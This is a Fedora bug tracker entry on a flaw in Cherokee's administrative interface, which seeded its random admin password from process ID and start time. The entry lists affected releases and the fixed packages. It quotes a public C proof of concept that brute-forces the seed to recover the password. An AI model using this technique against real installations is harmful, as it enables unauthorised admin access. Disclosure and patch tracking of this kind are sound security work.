A weakness was found in the way Cherokee’s administrative interface generated random administrator password. A local attacker could use this deficiency to perform password guessing attacks and potentially obtain the password. References: [1] http://code.google.com/p/cherokee/issues/detail?id=1212 CVE Request: [2] http://www.openwall.com/lists/oss-security/2011/06/03/4
This issue affects the versions of the cherokee package, as shipped with Fedora release of 13, 14, and 15. -- This issue affects the versions of the cherokee package, as present within EPEL-4, EPEL-5 and EPEL-6 repositories. Please schedule an update once final upstream patch known / ready.
Created cherokee tracking bugs for this issue Affects: fedora-all [bug 710473] Affects: epel-all [bug 710474]
Public PoC (from [1]) [didn't try it]: ====================================== If you want to play along at home! #1 launch cherokee-admin #2 use ps -ef to fill in the values for the pid, start time and example_password in the code below #3 ??? #4 profit! (obviously, you don't need to go for up to +1000 above the approx start time and in the real world one would use curl or some other library to test if the password is correct or not). #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <time.h> #include <string.h> #define ALPHA_NUM "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" #define START_TIME 1306920650 // approx start time - you probably want to subtract one minute from the time seen in ps -ef :) #define PID 1324 #define EXAMPLE_PASSWORD "58T0J9X8vhcS18Cq" int main(void) { unsigned int i = 0; unsigned int n = 0; int x = START_TIME; char possible [17] = {0}; int counter = 0; while (x < START_TIME + 1000) { srand(PID * x); for (i = 0; i < 16; i++) { n = rand()%(sizeof(ALPHA_NUM)-1); possible[i] = ALPHA_NUM[n]; } if (!strcmp(possible, EXAMPLE_PASSWORD) ) { printf("took %d tries! %s\n", counter, possible); return 0; } counter++; x++; } return 0; }
This issue has been resolved via the following updates: 1) cherokee-1.2.101-1.fc15 for Fedora 15, 2) cherokee-1.2.101-1.fc14 for Fedora 14, 3) cherokee-1.2.101-1.el6 for Fedora EPEL 6, 4) cherokee-1.2.101-1.el5 for Fedora EPEL 5, 5) cherokee-1.2.101-1.el4 for Fedora EPEL 4. These updated packages have been pushed to -testing repository, and upon their required testing is complete, they will be pushed to -stable repository.